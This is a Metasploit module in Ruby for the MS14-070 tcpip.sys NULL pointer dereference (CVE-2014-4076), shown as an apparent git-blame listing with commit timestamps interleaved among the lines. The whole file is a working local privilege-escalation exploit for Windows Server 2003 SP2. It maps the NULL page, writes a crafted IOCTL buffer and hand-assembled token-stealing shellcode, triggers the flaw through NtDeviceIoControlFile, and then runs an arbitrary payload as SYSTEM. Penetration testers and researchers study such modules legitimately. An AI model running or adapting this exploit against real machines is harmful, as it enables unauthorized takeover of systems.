2015-01-28 18:24:39 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/exploit/local/windows_kernel'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
|
|
Rank = AverageRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Local::WindowsKernel
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::FileInfo
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Post::Windows::Process
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info, {
|
2015-02-12 18:11:40 +00:00
|
|
|
'Name' => 'MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference',
|
2015-01-28 18:24:39 +00:00
|
|
|
'Description' => %q{
|
2015-02-12 18:11:40 +00:00
|
|
|
A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys
|
|
|
|
can allow a local attacker to trigger a NULL pointer dereference by using a
|
|
|
|
specially crafted IOCTL. This flaw can be abused to elevate privileges to
|
|
|
|
SYSTEM.
|
2015-01-28 18:24:39 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
|
|
|
|
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
|
|
|
|
],
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2015-02-05 18:54:52 +00:00
|
|
|
['Windows Server 2003 SP2',
|
|
|
|
{
|
|
|
|
'_KPROCESS' => "\x38",
|
|
|
|
'_TOKEN' => "\xd8",
|
|
|
|
'_UPID' => "\x94",
|
|
|
|
'_APLINKS' => "\x98"
|
|
|
|
}
|
|
|
|
]
|
2015-01-28 18:24:39 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2014-4076'],
|
2015-02-12 14:51:01 +00:00
|
|
|
['MSB', 'MS14-070'],
|
|
|
|
['OSVDB', '114532'],
|
|
|
|
['URL', 'https://blog.korelogic.com/blog/2015/01/28/2k3_tcpip_setaddroptions_exploit_dev'],
|
2015-01-28 18:24:39 +00:00
|
|
|
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt']
|
|
|
|
],
|
|
|
|
'DisclosureDate'=> 'Nov 11 2014',
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
}))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
2015-02-18 17:44:58 +00:00
|
|
|
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
|
2015-01-29 16:57:03 +00:00
|
|
|
return Exploit::CheckCode::Safe unless handle
|
|
|
|
|
2015-01-28 18:24:39 +00:00
|
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
|
|
|
|
|
|
file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys"
|
|
|
|
unless file?(file_path)
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
major, minor, build, revision, branch = file_version(file_path)
|
|
|
|
vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
|
|
|
|
2015-02-04 21:55:43 +00:00
|
|
|
if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)
|
2015-09-02 04:26:45 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2015-01-28 18:24:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
if is_system?
|
2015-04-16 20:04:11 +00:00
|
|
|
fail_with(Failure::None, 'Session is already elevated')
|
2015-01-28 18:24:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if sysinfo["Architecture"] =~ /wow64/i
|
|
|
|
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
|
|
|
elsif sysinfo["Architecture"] =~ /x64/
|
|
|
|
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
|
|
|
end
|
|
|
|
|
|
|
|
unless check == Exploit::CheckCode::Vulnerable
|
2015-04-16 20:04:11 +00:00
|
|
|
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
|
2015-01-28 18:24:39 +00:00
|
|
|
end
|
|
|
|
|
2015-02-18 17:44:58 +00:00
|
|
|
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
|
2015-01-28 18:24:39 +00:00
|
|
|
if handle.nil?
|
|
|
|
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Storing the shellcode in memory...")
|
|
|
|
this_proc = session.sys.process.open
|
|
|
|
|
|
|
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE")
|
|
|
|
|
2015-01-29 16:57:03 +00:00
|
|
|
unless this_proc.memory.writable?(0x1000)
|
|
|
|
fail_with(Failure::Unknown, 'Failed to allocate memory')
|
2015-01-28 18:24:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
|
|
|
|
|
2015-02-05 19:00:38 +00:00
|
|
|
sc = token_stealing_shellcode(target, nil, nil, false)
|
2015-02-05 18:54:52 +00:00
|
|
|
# move up the stack frames looking for nt!KiSystemServicePostCall
|
|
|
|
sc << "\x31\xc9" # xor ecx, ecx
|
|
|
|
sc << "\x89\xeb" # mov ebx, ebp
|
|
|
|
# count_frames
|
|
|
|
sc << "\x41" # inc ecx
|
|
|
|
sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000
|
|
|
|
sc << "\x8b\x1b" # mov ebx, dword [ebx]
|
|
|
|
sc << "\x75\xf4" # jne short count_frames
|
|
|
|
sc << "\x49" # dec ecx
|
|
|
|
# loop_frames
|
|
|
|
sc << "\x49" # dec ecx
|
|
|
|
sc << "\x89\xec" # mov esp, ebp
|
|
|
|
sc << "\x5d" # pop ebp
|
|
|
|
sc << "\x83\xf9\x00" # cmp ecx, 0
|
|
|
|
sc << "\x75\xf7" # jne loop_frames
|
|
|
|
sc << "\x31\xc0" # xor eax, eax
|
2015-02-05 19:09:01 +00:00
|
|
|
sc << "\xc3" # ret
|
2015-02-05 18:54:52 +00:00
|
|
|
|
|
|
|
this_proc.memory.write(0x28, "\x87\xff\xff\x38")
|
2015-01-28 18:24:39 +00:00
|
|
|
this_proc.memory.write(0x38, "\x00\x00")
|
|
|
|
this_proc.memory.write(0x1100, buf)
|
|
|
|
this_proc.memory.write(0x2b, "\x00\x00")
|
|
|
|
this_proc.memory.write(0x2000, sc)
|
|
|
|
|
|
|
|
print_status("Triggering the vulnerability...")
|
|
|
|
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)
|
2015-02-05 18:54:52 +00:00
|
|
|
#session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it
|
2015-01-28 18:24:39 +00:00
|
|
|
|
|
|
|
print_status("Checking privileges after exploitation...")
|
|
|
|
|
|
|
|
unless is_system?
|
|
|
|
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
|
|
|
end
|
|
|
|
|
2015-01-29 16:57:03 +00:00
|
|
|
print_good("Exploitation successful!")
|
2015-02-05 18:54:52 +00:00
|
|
|
unless execute_shellcode(payload.encoded, nil, this_proc.pid)
|
|
|
|
fail_with(Failure::Unknown, 'Error while executing the payload')
|
|
|
|
end
|
2015-01-28 18:24:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|